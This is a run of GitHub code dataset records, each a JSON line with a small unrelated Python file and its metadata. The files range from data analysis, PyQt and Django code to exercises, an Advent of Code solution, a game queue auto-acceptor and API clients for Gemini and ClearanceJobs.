range(n_data1):\r\n            hour = data1_3[i, 0]\r\n            date = data1_3[i, 1]\r\n            data1_4.loc[hour, date] = data1_3[i, 2]\r\n        new_date1_list = []\r\n        for i in date1_list:\r\n            if i > date_start:\r\n                new_date1_list.append(i)\r\n        data1_4 = data1_4.reindex(columns=new_date1_list)\r\n\r\n        date1_weekday = list(map(lambda x: x if not is_weekend(x) else None, new_date1_list))\r\n        date_weekday = []\r\n        for i in date1_weekday:\r\n            if i:\r\n                date_weekday.append(i)\r\n        data_weekday = data1_4.reindex(columns=date_weekday)\r\n        data_weekday = data_weekday[data_weekday>=0]\r\n        data_weekday_mean = data_weekday.mean(axis=1)\r\n        weekday_res.append(data_weekday_mean)\r\n\r\n\r\n    \r\n\r\n    data1 = pd.read_csv(path1, dtype=object, header=None)\r\n    data1[0] = data1[0].apply(pd.to_numeric)\r\n    data1[2] = data1[2].apply(pd.to_numeric)\r\n    data2 = pd.read_csv(path2, dtype=object, header=None)\r\n    data2[0] = data2[0].apply(pd.to_numeric)\r\n    data2[2] = data2[2].apply(pd.to_numeric)\r\n    weekday_res1 = []\r\n    weekday_res2 = []\r\n    for i in range(1, 37):\r\n        mean_list(data1, i, year1, date_start1, weekday_res1)\r\n    for i in range(1, 34):\r\n        mean_list(data2, i, year2, date_start2, weekday_res2)\r\n    res = np.zeros((33, 36), dtype='float')\r\n\r\n    for i in range(33):\r\n        for j in range(36):\r\n            res[i, j] = rmse(weekday_res2[i], weekday_res1[j])\r\n    print('最佳配对结果：')\r\n    print('上半年--下半年        两个位置间的RMSE')\r\n    for i in range(33):\r\n        print(str('0' + str(i+1))[-2:],'--', str('0' + str(np.argmin(res[i])+1))[-2:], '       {}'.format(np.min(res[i])))\r\n        \r\n\r\n\r\n    ","repo_name":"iwangliyan/maching-learning","sub_path":"competition/tensorflow-boys/compare.py","file_name":"compare.py","file_ext":"py","file_size_in_byte":3114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"42659246945","text":"import os\nimport sys\nsys.path.append(os.getcwd())\n\nimport pyosr\nimport numpy as np\nimport aniconf12\nimport dualconf_tiny\nimport importlib\n\nfrom condor_vm import *\nimport argparse\n\ndef usage():\n    print('''\nComputer visibility matrix in segments\n    ''')\n    print('''\nUsage:\ncondor-visibility-matrix2.py <block size> <index>\n'''\n    )\n\n_name2module = { 'aniconf12' : aniconf12,\n                 'dual_tiny' : dualconf_tiny }\n\ndef get_parser():\n    parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n    subparsers = parser.add_subparsers(dest='command')\n    common = argparse.ArgumentParser(add_help=False)\n    common.add_argument('prm', help='Sample from PRM', nargs=None, type=str)\n    common.add_argument('--prmkey', help='File name of PRM in NPZ', default='V')\n    common.add_argument('path', help='Sample from PRM', nargs=None, type=str)\n    common.add_argument('--pathkey', help='File name of Path in NPZ', default='VS')\n    common.add_argument('block_size', help='Block Size, indicating elements per task. When it is negative it means rows per task', nargs=None, type=int)\n    common.add_argument('task_id', help='Task Index', nargs='?', default=-1, type=int)\n    info_parser = subparsers.add_parser(\"info\", parents=[common])\n    calc_parser = subparsers.add_parser(\"calc\", help='Calculate the visibility matrix between path (axis 0) and prm (axis 1)', parents=[common])\n    calc_parser.add_argument('--puzzlename', help='Puzzle')\n    calc_parser.add_argument('out', help='Output Directory', nargs=None, type=str)\n    return parser\n\ndef parse():\n    parser = get_parser()\n    return parser.parse_args()\n\ndef _get_V0V1(args):\n    gtdic = np.load(args.prm)\n    pathdic = np.load(args.path)\n    V0 = pathdic[args.pathkey]\n    V1 = gtdic[args.prmkey]\n    return V0, V1\n\ndef info(args):\n    V0, V1 = _get_V0V1(args)\n    print(\"Path vertices {}\".format(len(V0)))\n    print(\"PRM vertices {}\".format(len(V1)))\n    if args.task_id < 0:\n        print(\"Total number of tasks: {}\".format(index_to_ranges(V0, V1, args.block_size, 0)[-1]))\n    else:\n        tup = index_to_ranges(V0, V1, args.block_size, args.task_id)\n        print(\"Calculate path[{}:{}] vs prm[{}:{}]. Total number of tasks: {}\".format(tup[0], tup[1], tup[2], tup[3], tup[4]))\n\ndef calc(args):\n    if args.puzzlename in _name2module:\n        args.model = _name2module[args.puzzlename]\n    else:\n        args.model = importlib.import_module(args.puzzlename)\n    print(args.model.env_fn)\n    V0, V1 = _get_V0V1(args)\n    q0start, q0end, q1start, q1end, index_max = index_to_ranges(V0, V1, args.block_size, args.task_id)\n    visibilty_matrix_calculator(args.model,\n                                V0, V1,\n                                q0start, q0end, q1start, q1end,\n                                args.out,\n                                index=args.task_id,\n                                block_size=args.block_size)\n\ndef main():\n    args = parse()\n    globals()[args.command](args)\n\nif __name__ == '__main__':\n    main()\n","repo_name":"xinyazhang/PuzzleTunnelDiscovery","sub_path":"src/GP/condor-visibility-matrix2.py","file_name":"condor-visibility-matrix2.py","file_ext":"py","file_size_in_byte":3026,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"21"}
+{"seq_id":"19373304990","text":"from __future__ import annotations\nimport logging\n\nfrom PyQt5.QtWidgets import QWidget\n\nfrom ...api.observer import Observable, Observer\nfrom ...model.probe import FresnelZonePlateProbeInitializer, ProbeRepositoryItemPresenter\nfrom ...view.probe import FresnelZonePlateProbeView\nfrom .editor import ProbeEditorViewController\n\nlogger = logging.getLogger(__name__)\n\n\nclass FresnelZonePlateProbeViewController(Observer):\n\n    def __init__(self, presenter: ProbeRepositoryItemPresenter, parent: QWidget) -> None:\n        super().__init__()\n        self._item = presenter.item\n        self._view = FresnelZonePlateProbeView.createInstance()\n        self._initializer: FresnelZonePlateProbeInitializer | None = None\n\n    @classmethod\n    def editParameters(cls, presenter: ProbeRepositoryItemPresenter, parent: QWidget) -> None:\n        controller = cls(presenter, parent)\n        controller._updateInitializer()\n        controller._syncModelToView()\n        presenter.item.addObserver(controller)\n        ProbeEditorViewController.editParameters(presenter, controller._view, parent)\n        presenter.item.removeObserver(controller)\n\n    def _updateInitializer(self) -> None:\n        initializer = self._item.getInitializer()\n\n        if isinstance(initializer, FresnelZonePlateProbeInitializer):\n            self._initializer = initializer\n        else:\n            logger.error('Null initializer!')\n            return\n\n        self._view.zonePlateRadiusWidget.lengthChanged.connect(\n            initializer.setZonePlateRadiusInMeters)\n        self._view.outermostZoneWidthWidget.lengthChanged.connect(\n            initializer.setOutermostZoneWidthInMeters)\n        self._view.beamstopDiameterWidget.lengthChanged.connect(\n            initializer.setCentralBeamstopDiameterInMeters)\n        self._view.defocusDistanceWidget.lengthChanged.connect(\n            initializer.setDefocusDistanceInMeters)\n\n    def _syncModelToView(self) -> None:\n        if self._initializer is None:\n            logger.error('Null initializer!')\n        else:\n            self._view.zonePlateRadiusWidget.setLengthInMeters(\n                self._initializer.getZonePlateRadiusInMeters())\n            self._view.outermostZoneWidthWidget.setLengthInMeters(\n                self._initializer.getOutermostZoneWidthInMeters())\n            self._view.beamstopDiameterWidget.setLengthInMeters(\n                self._initializer.getCentralBeamstopDiameterInMeters())\n            self._view.defocusDistanceWidget.setLengthInMeters(\n                self._initializer.getDefocusDistanceInMeters())\n\n    def update(self, observable: Observable) -> None:\n        if observable is self._initializer:\n            self._syncModelToView()\n","repo_name":"AdvancedPhotonSource/ptychodus","sub_path":"ptychodus/controller/probe/fzp.py","file_name":"fzp.py","file_ext":"py","file_size_in_byte":2696,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"}
+{"seq_id":"24015160920","text":"class Dealer():\r\n    def __init__(self):\r\n        self.hands = ['(Face-down card)']\r\n        self.hands_separate_values = [] # Integer value of each card in order\r\n        self.hands_values = 0 # Sum of value of the cards in hand\r\n        \r\n    def add_card(self, card): # Needs to be overwritten after implementing Split since Dealer has only one hand (indexing not supported)\r\n        self.hands.append(card)\r\n        self.hands_separate_values.append(card.value)\r\n        self.hands_values += card.value\r\n      \r\n    def show_first_card(self): # Print the dealer's cards (except the second one)\r\n        print(\"Dealer's cards: \")\r\n        # Prints only first card; the other one (if served) remains hidden until the end\r\n        if len(self.hands)-1 == 1:\r\n            print(self.hands[1])\r\n        else:\r\n            cards_with_hidden = [self.hands[1],self.hands[0]]\r\n            print(*cards_with_hidden, sep=', ')\r\n        print('') \r\n    \r\n    def show_all_cards(self): # Print all the dealer's cards; to be used at the end of the round\r\n        print(\"Dealer's cards: \")\r\n        # Deletes '(Face-down card)' entry if still present\r\n        if self.hands[0] == '(Face-down card)':\r\n            self.hands.pop(0)\r\n        # Prints all current player's cards\r\n        print(*self.hands, sep=', ')\r\n        print('')    \r\n        \r\n    def clear_cards(self):\r\n        self.hands = ['(Face-down card)']\r\n        self.hands_separate_values = []\r\n        self.hands_values = 0","repo_name":"NMoro811/blackjack-simulator","sub_path":"dealer_class.py","file_name":"dealer_class.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"15804476780","text":"import datetime\ndados = dict()\n\ndados['nome'] = str(input('Digite o nome: '))\ndados['nascimento'] = int(input('Digite o ano de nascimento: '))\ndados['carteira'] = int(input('Digite o n da carteira de trabalho (0 não tem): '))\nif dados['carteira'] != 0:\n    dados['ano'] = int(input('Digite o ano da contratação: '))\n    dados['salario'] = float(input('Digite o salário: '))\n\nidade = datetime.date.today().year - dados['nascimento']\n\nprint('=' * 40)\nprint(f'O nome tem valor: {dados[\"nome\"]}.')\nprint(f'A idade tem valor: {idade}.')\nprint(f'A carteira de trabalho tem valor: {dados[\"carteira\"]}.')\nif dados[\"carteira\"] != 0:\n    contratacao_idade = idade - (datetime.date.today().year - dados['ano'])\n    aposentadoria_idade = contratacao_idade + 35\n    print(f'A contratação tem valor: {dados[\"salario\"]}.')\n    print(f'A aposentadoria tem valor: {aposentadoria_idade}.')\nprint('=' * 40)\n","repo_name":"GabrielDelRosso/pythonexercicios","sub_path":"ex092.py","file_name":"ex092.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23072606527","text":"def Impl(x,y):\n\treturn x <= y\ndef Plus(x,y):\n\treturn x or y\ndef Multi(x,y):\n\treturn x and y\ndef Not(x):\n\treturn not x\ndef F(a): \n\treturn Multi(Not(a[2]),a[0])\n\ndef Perm(perm, arr, table):\n\tn=len(arr)\n\tif n==0: \n\t\tcorrect=True\n\t\tfor j in range(m):\n\t\t\tprint(perm,table[j],j)\n\t\t\tif not(Correct(perm,table[j])):\n\t\t\t\tcorrect=False\n\t\t\t\tprint(\"break\")\n\t\t\t\tbreak\n\t\tif correct:\n\t\t\tfor k in range(len(table[0])-1):\n\t\t\t\tprint(s[perm[k]], end=' ')\n\t\t\tprint()\n\telse:\n\t\tfor i in range(n):\n\t\t\tarr1=[] \n\t\t\tperm1 = perm.copy()\n\t\t\tperm1.append(arr[i])\n\t\t\tfor j in range(n):\n\t\t\t\tif j!=i:\n\t\t\t\t\tarr1.append(arr[j])\n\t\t\tPerm(perm1, arr1, table)\n\ndef Correct(perm, table_d):\n\ta=[0]*(len(table_d)-1)\n\tfor i in range((len(table_d)-1)):\n\t\ta[perm[i]] = table_d[i]\n\tprint(\"---\",a,F(a),table_d,table_d[len(table_d)-1])\n\tif F(a) == table_d[len(table_d)-1]:\n\t\treturn True\n\treturn False\n\narr = []\ns = ['x', 'y', 'z', 'w']\nm=int(input())\ntable = [0]*m\nfor i in range(m):\n\ttable[i] = list(map(int, input().split()))\nfor i in range(len(table[0])-1):\n\tarr.append(i)\n\nPerm([], arr, table)\n","repo_name":"archost/InfEge","sub_path":"Task_2/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19960055861","text":"import os\n\n#Parameters:\npositive_ranges = ['3']\nfolds = ['5']\ntest_sizes = ['0.25']\ntypes = ['TEM', 'REM', 'SEM', 'RSEM']\nsizes = ['500']\n#sizes = ['700', '900', '1100', '1300', '1500']\n#sizes = ['2300', '2500']\n#archs = ['cbow', 'skip']\narchs = ['cbow']\n\nfor p in positive_ranges:\n\tfor f in folds:\n\t\tfor t in test_sizes:\n\t\t\tfor type in types:\n\t\t\t\tfor arch in archs:\n\t\t\t\t\tfor size in sizes:\n\t\t\t\t\t\tos.system('mkdir ../../solo_rankings/boundary/')\n\t\t\t\t\t\tos.system('mkdir ../../solo_rankings/boundary/' + type)\n\t\t\t\t\t\tos.system('mkdir ../../solo_rankings/boundary/' + type + '/' + arch)\n\t\t\t\t\t\tos.system('mkdir ../../solo_rankings/boundary/' + type + '/' + arch + '/' + size)\n\t\t\t\t\t\toutput = '../../solo_rankings/boundary/' + type + '/' + arch + '/' + size + '/ranks_'+p+'_'+f+'_'+t+'.txt'\n\t\t\t\t\t\tcomm = 'nohup python Run_BoundaryCV.py /export/data/ghpaetzold/benchmarking/semeval/corpora/semeval/semeval_train_clean.txt '\n\t\t\t\t\t\tcomm += p+' '+f+' '+t+ ' /export/data/ghpaetzold/benchmarking/semeval/corpora/semeval/semeval_test_clean.txt '+output+' '\n\t\t\t\t\t\tcomm += type + ' ' + size + ' ' + arch + ' &'\n\t\t\t\t\t\tos.system(comm)\n","repo_name":"ghpaetzold/phd-backup","sub_path":"sgss_retro_senseaware/scripts/solo_rankers/Run_All_BoundaryCV.py","file_name":"Run_All_BoundaryCV.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"16700620694","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\n\"\"\"\n@auth: zhaopan\n@time: 2020/8/31 10:56\n\"\"\"\n\nimport requests\nimport json\nimport base64\nimport hmac\nimport hashlib\nimport datetime, time\n\n\ndef query_primary_trades():\n    from api import MasterAPI\n    # https://docs.gemini.com/rest-api/#get-past-trades\n    url = \"https://api.sandbox.gemini.com/v1/mytrades\"\n\n    t = datetime.datetime.now()\n    payload_nonce = str(int(time.mktime(t.timetuple())*1000))\n    payload = {\n        \"request\": \"/v1/mytrades\",\n        \"nonce\": payload_nonce,\n        \"account\": \"primary\",\n        \"symbol\": \"btcusd\"\n    }\n    encoded_payload = json.dumps(payload).encode()\n    b64 = base64.b64encode(encoded_payload)\n    signature = hmac.new(MasterAPI.gemini_api_secret, b64, hashlib.sha384).hexdigest()\n\n    request_headers = {\n        'Content-Type': \"text/plain\",\n        'Content-Length': \"0\",\n        'X-GEMINI-APIKEY': MasterAPI.gemini_api_key,\n        'X-GEMINI-PAYLOAD': b64,\n        'X-GEMINI-SIGNATURE': signature,\n        'Cache-Control': \"no-cache\"\n        }\n\n    response = requests.post(url, headers=request_headers)\n\n    my_trades = response.json()\n    print(my_trades)\n\n\nif __name__ == '__main__':\n    query_primary_trades()\n","repo_name":"zhaopan-vip/-","sub_path":"Python知识图谱/量化交易/Gemini/trade.py","file_name":"trade.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"3499937960","text":"## Return cross correlation for Time Lag\nimport pandas as pd\nimport numpy as np\nimport scipy.stats\n\nimport matplotlib.pyplot as plt\nimport plotnine\nfrom plotnine import *\n\ndef get_lag_corr(y_actual, y_pred, num_lags):\n    \"\"\"Calculates & plots Lag Correlation\n\n    Parameters\n    ----------\n    y_actual : Series or vector\n        The ground truth\n    y_pred : Series or vector\n        Predicted values\n    num_lags : int\n        Lag to consider - range (0, num_lags)\n    \"\"\"\n    lags = []\n    for c in range(num_lags):\n        lagged = pd.Series(y_pred).shift(c)\n        lags.append(scipy.stats.spearmanr(lagged, y_actual, nan_policy='omit')[0])\n\n    datum = pd.DataFrame({\n            \"Lags\":range(len(lags)), \n            \"Lag-Coefficient\":lags\n        })\n\n    p = (\n        ggplot(datum, aes(x='Lags'))\n        + geom_line(aes(y='Lag-Coefficient'))\n        + labs(x='Lag', y='Coefficient')\n        + plotnine.theme_538()\n        + plotnine.theme(figure_size=(10, 6))\n    )\n    print(p)\n\n\ndef actualPred(y_true, y_pred):\n    \"\"\"Plot actual vs predicted line plots\n\n    Parameters\n    ----------\n    y_true : Series or vector\n        The ground truth\n    y_pred : Series or vector\n        Predicted values\n    \"\"\"\n    datum = pd.DataFrame({\n        \"date\": range(y_true.shape[0]),\n        \"Actual\":y_true, \n        \"Prediction\":y_pred\n    })\n    datum = pd.melt(datum, id_vars=['date'], value_vars=['Actual', 'Prediction']) \n\n    p = (\n    ggplot(datum, aes(x='date'))\n    + geom_line(aes(y='value', color='variable')) # line plot\n    + labs(x='date', y='Solar Output')\n    + plotnine.theme_538()\n    + plotnine.theme(figure_size=(10, 6))\n    )\n    print(p)\n\n\ndef scatter(y_true, y_pred):\n    \"\"\"Plot actual vs predicted scatterplot\n\n    Parameters\n    ----------\n    y_true : Series or vector\n        The ground truth\n    y_pred : Series or vector\n        Predicted values\n    \"\"\"\n    datum = pd.DataFrame({\n        \"Actual\":y_true, \n        \"Prediction\":y_pred\n    })\n\n    p = (\n    ggplot(datum, aes(x='Actual', y=\"Prediction\", color='\"#9B59B6\"'))\n    + geom_point() # line plot\n    + labs(x='Actual', y='Prediction')\n    + plotnine.theme_538()\n    + plotnine.theme(figure_size=(10, 6))\n    )\n    print(p)\n","repo_name":"cydal/tsExtract","sub_path":"build/lib/tsextract/plots/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"21"}
+{"seq_id":"28969726661","text":"from django.urls import path\nfrom . import views\n\napp_name = 'portfolio'\n\nurlpatterns = [\n    path('', views.home, name='home'),\n    path('portfolio', views.portfolio, name='portfolio'),\n    path('about', views.about, name='about'),\n    path('portfolio/<int:project_id>/', views.detailProject, name='detailProject'),\n\n]\n","repo_name":"B1ckbeard/personal_portfolio-project","sub_path":"portfolio/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"13935973193","text":"import sys\n\ndirections = [\"north\", \"east\", \"south\", \"west\"]\n\nwith open(sys.argv[1], \"r\") as file:\n    actions = file.readlines()\n\nface = 1 # directions[1]\nns = 0\nwe = 0\n\nfor el in actions:\n    action = el[0]\n    value = int(el[1:])\n\n    if action == \"N\":\n        ns += value\n    if action == \"S\":\n        ns -= value\n    if action == \"E\":\n        we += value\n    if action == \"W\":\n        we -= value\n    if action == \"L\":\n        face = (face - value//90) % 4\n    if action == \"R\":\n        face = (face + value//90) % 4\n    if action == \"F\":\n        if face == 0:\n            ns += value\n        if face == 1:\n            we += value\n        if face == 2:\n            ns -= value\n        if face == 3:\n            we -= value\n\nmd = abs(ns) + abs(we)\nprint(md)\n","repo_name":"filipelsilva/Advent-of-Code","sub_path":"2020/day12/res_pt1.py","file_name":"res_pt1.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1866677474","text":"# dctiontary\n\nwords = {\n    \n    'raman': '拉麵',   # 左邊單字是key 右邊是value\n    'pasta': '義大利麵'\n}\nwords['tea'] = '茶'  #增加新的key\nprint(words)\n\n#字典與清單混用\np0 = {\n    'name': '麥香奶茶',\n    'price': '10'\n}\n\np1 = {\n    'name': '珍珠奶茶',\n    'price': '60'\n}\n\ndrinks = [p0, p1]  \nprint(drinks[0]['name'])\nprint(drinks[1]['price'])","repo_name":"elaine35002/dictionary","sub_path":"dict.py","file_name":"dict.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74240857013","text":"# Escreva um algoritmo que leia um grupo de valores reais e determine quantos valores\r\n# são positivos e quantos são negativos. Determine, também, qual é o menor desses\r\n# valores. Utilize o comando de repetição que desejar.\r\n\r\n\r\nnumeros = []\r\npositivos = 0\r\nnegativos = 0\r\n\r\nwhile True:\r\n    valor = float(input(\"Digite um número real (ou 0 para sair): \"))\r\n\r\n    if valor == 0:\r\n        break\r\n\r\n    numeros.append(valor)\r\n\r\n    if valor > 0:\r\n        positivos += 1\r\n    else:\r\n        negativos += 1\r\n\r\nmenor_valor = min(numeros)\r\n\r\nprint(f\"Quantidade de números positivos: {positivos}\")\r\nprint(f\"Quantidade de números negativos: {negativos}\")\r\nprint(f\"Menor valor: {menor_valor}\")\r\n","repo_name":"EduBardoADS/exerciciosAula10Python","sub_path":"exercicio04.py","file_name":"exercicio04.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1127274489","text":"import os\r\nimport hashlib\r\nimport datetime\r\n\r\nfrom src.database.connection import add_directory\r\n\r\n\"\"\"\r\nFunction to manage all the reading of folder and files for the monitoring \r\n\"\"\"\r\n\r\nsha256 = hashlib.sha256()\r\nsha_list = []\r\n\r\n\r\ndef reading_folder():\r\n    f_list = os.listdir()\r\n    return f_list\r\n\r\n\r\ndef save_directory():\r\n    list_ = reading_folder()\r\n    print(list_)\r\n    for file in list_:\r\n        add_directory(datetime.datetime.now(), file, sha256.hexdigest)\r\n        sha_list.append(file.sha256.hexdigest())\r\n    return sha_list\r\n\r\n\r\nsave_directory()\r\n","repo_name":"LeoFaucher/Python-Filewatcher","sub_path":"src/file_manager.py","file_name":"file_manager.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"12127491398","text":"from flask import request\nfrom flask_restplus import Resource, Namespace\nfrom app.main.service.football_svc import get_fixture_from_id, get_predict\n\n\napi = Namespace('football', description='football related operations')\n\n\n@api.route('/Predictor')\nclass Predictor(Resource):\n    @api.param('fixture_id', 'The Fixture identifier')\n    @api.response(1001, 'fixture_id is none')\n    @api.response(1002, 'fixture not found.')\n    def get(self):\n        \"\"\"Predict Football Fixture From fixture_id\"\"\"\n\n        fixture_id = request.args.get('fixture_id')\n        if fixture_id is None:\n            return None\n\n        fixture = get_fixture_from_id(fixture_id)\n        if fixture is None:\n            return None\n\n        return get_predict(fixture)\n","repo_name":"HeewonChae/PoseProject","sub_path":"MachineLearning/Poseidon_Predictor_Server/app/main/controller/football_controller.py","file_name":"football_controller.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"35775063592","text":"class Soda():\n    def __init__(self, type):\n        if isinstance(type, str):\n            self.type = type\n        else:\n            self.type = None\n\n    def Type_soda(self):\n        if self.type:\n            print(f'газировка {Soda1.type}')\n        else:\n            print('обычная газировка')\nSoda1 = Soda('кокакола')\nSoda2 = Soda(00)\n\nSoda2.Type_soda()\n","repo_name":"Ivanish123/Soda","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"362087758","text":"import cv2\r\nimport mss\r\nimport numpy\r\nimport win32api, win32con, win32gui #pywin32\r\n\r\n#initializing objects and variables\r\nsct = mss.mss()\r\nwindowHandle = win32gui.FindWindow(None, \"League of Legends\")\r\nwin32gui.SetForegroundWindow(windowHandle)\r\n\r\nwhile True:\r\n        #getting window dimensions\r\n        dimensions = win32gui.GetWindowRect(windowHandle)\r\n        monitor = {\"top\": dimensions[1] + 376, \"left\": dimensions[0] + 408, \"width\": 447, \"height\": 198}\r\n\r\n        # Taking picture of screen\r\n        img = numpy.array(sct.grab(monitor))\r\n\r\n        # changing colour(BGR) to RGB\r\n        img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\r\n\r\n\r\n        for x in range(0, monitor[\"width\"] - 1):\r\n            for y in range(0, monitor[\"height\"] - 1):\r\n                #if pixel matches colour\r\n                if numpy.all(img[y][x] == (30, 37, 42)):\r\n\r\n                    # Move mouse cursor to matched pixel and left click\r\n                    win32api.SetCursorPos((x + monitor[\"left\"], y + monitor[\"top\"]))\r\n                    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, x + monitor[\"left\"], y + monitor[\"top\"], 0,0)\r\n                    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, x + monitor[\"left\"], y + monitor[\"top\"], 0,0)\r\n\r\n                    #clean up and exit\r\n                    cv2.destroyAllWindows()\r\n                    exit()\r\n                    \r\n        #displaying what the computer \"sees\"\r\n        cv2.imshow(\"LOL Auto Acceptor\", cv2.cvtColor(img, cv2.COLOR_BGR2RGB))\r\n\r\n        # If 'q' is pressed then quit program\r\n        if cv2.waitKey(1) & 0xFF == ord(\"q\"):\r\n            cv2.destroyAllWindows()\r\n            break\r\n","repo_name":"sparshs03/LOL_QueueAcceptor","sub_path":"LeagueAccepter.py","file_name":"LeagueAccepter.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"21842461367","text":"# Ugly Number II\nclass Solution:\n    def nthUglyNumber(self, n: int) -> int:\n        '''\n        ideas: 2^i3^j5^k\n        '''\n        nums = [1]\n        i = 0\n        j = 0\n        k = 0\n        while len(nums) < n:\n            temp2 = nums[i]*2\n            temp3 = nums[j]*3\n            temp5 = nums[k]*5\n            ugly = min(temp2, temp3, temp5)\n            nums.append(ugly)\n            if ugly == temp2:\n                i += 1\n            if ugly == temp3:\n                j += 1\n            if ugly == temp5:\n                k += 1\n        return nums[-1]\n\nn = 10\nsol = Solution()\nprint(sol.nthUglyNumber(n))\n","repo_name":"JieFrye/leetcode","sub_path":"Math/UglyNumberII.py","file_name":"UglyNumberII.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73059003252","text":"import sys\nfrom PyQt5.QtWidgets import QApplication, QDialog\nfrom demoLogin import *\nfrom network import *\nfrom demoUserWindow import *\n\n\nclass MyForm(QDialog):\n    def __init__(self):\n        super().__init__()\n        self.ui = Ui_Dialog()\n        self.ui.setupUi(self)\n        self.ui.pushButton.clicked.connect(self.set_status_text)\n        self.show()\n\n    def open_window(self):\n        self.window = QtWidgets.QMainWindow()\n        self.ai = Ui_UserWindow()\n        self.ai.setupUi(self.window)\n        self.ai.pushButtonSend.clicked.connect(self.reply)\n        self.ai.pushButtonRefresh.clicked.connect(self.refresh_reply)\n        w.hide()\n        self.window.show()\n\n    def send_info(self, operation):\n        login = self.ui.lineEditLogin.text()\n        password = self.ui.lineEditPassword.text()\n        list = [operation, login, password]\n        n = Network()\n        reply = n.send(list)\n        return reply\n\n    def set_status_text(self):\n        reply = MyForm.send_info(self, \"login\")\n        if reply == \"True\":\n            self.ui.label.setText(\"<font color='green'>Successful</font>\")\n            print(\"Successful\")\n            MyForm.open_window(self)\n            MyForm.set_user_information(self)\n            return True\n        else:\n            self.ui.label.setText(\"<font color='red'>Wrong login or password</font>\")\n            print(\"Failed\")\n            return False\n\n    def set_user_information(self):\n        reply = MyForm.send_info(self, \"account\")\n        self.ai.labelUserEditable.setText(reply[0])\n        self.ai.lineEditAccountNumber.setText(str(reply[1]))\n        self.ai.lineEditCurrentBalance.setText(str(reply[2]))\n\n    def send_information_to_check(self):\n        name = self.ai.labelUser.text()\n        sender_number = self.ai.lineEditSenderNumber.text()\n        receiver_number = self.ai.lineEditReceiverNumber.text()\n        amount = self.ai.lineEditAmount.text()\n        if name and sender_number and receiver_number and amount != \"\":\n            list_of_information = [\"transfer\", name, sender_number, receiver_number, amount]\n            n = Network()\n            reply = n.send(list_of_information)\n            return reply\n        else:\n            self.ai.label_2.setText(\"<font color='red'>Fill in all fields</font>\")\n\n\n\n\n    def reply(self):\n        reply = MyForm.send_information_to_check(self)\n        print(reply)\n        if reply is False:\n            self.ai.label_2.setText(\"<font color='red'>User doesn't exist</font>\")\n\n    def send_refresh(self):\n        name = self.ai.labelUserEditable.text()\n        n = Network()\n        reply = n.send([\"refresh\", name])\n        return reply\n\n    def refresh_reply(self):\n        reply1 = MyForm.send_refresh(self)\n        self.ai.lineEditCurrentBalance.setText(reply1)\n\n\n\nif __name__==\"__main__\":\n    app = QApplication(sys.argv)\n    w = MyForm()\n    w.show()\n    sys.exit(app.exec_())","repo_name":"NudleHead/Python_client-server","sub_path":"callLogin.py","file_name":"callLogin.py","file_ext":"py","file_size_in_byte":2892,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"41856556331","text":"import logging\nfrom datetime import datetime\nfrom dataclasses import dataclass\n\nimport requests\n\n\n@dataclass\nclass ClearanceJobs:\n    \"\"\"Initialize ClearanceJobs class.\n\n    Args:\n        url (str): Default https://api.clearancejobs.com/api/v1. Specify API\n        url. Only update if it changes.\n\n    Attributes:\n        session (request.Session): Session object for making requests.\n    \"\"\"\n    url: str = 'https://api.clearancejobs.com/api/v1'\n\n    def __post_init__(self):\n        \"\"\"Post Init.\n        \"\"\"\n        self.session = requests.Session()\n        self.session.headers.update({\n            'Accept': 'application/json',\n            'Content-Type': 'application/json',\n            'User-Agent': 'Mozilla/5.0 (X11; CrOS x86_64 12239.19.0)',\n            'X-Requested-With': 'XMLHttpRequest',\n            'Sec-Fetch-Mode': 'cors'\n        })\n\n    def update_session(self, csrf, laravel_token):\n        \"\"\"Updates session for making request.\n\n        The Requests session can be updated with a CSRF token and\n        a laravel_token. This can function is used so that the CSRF and 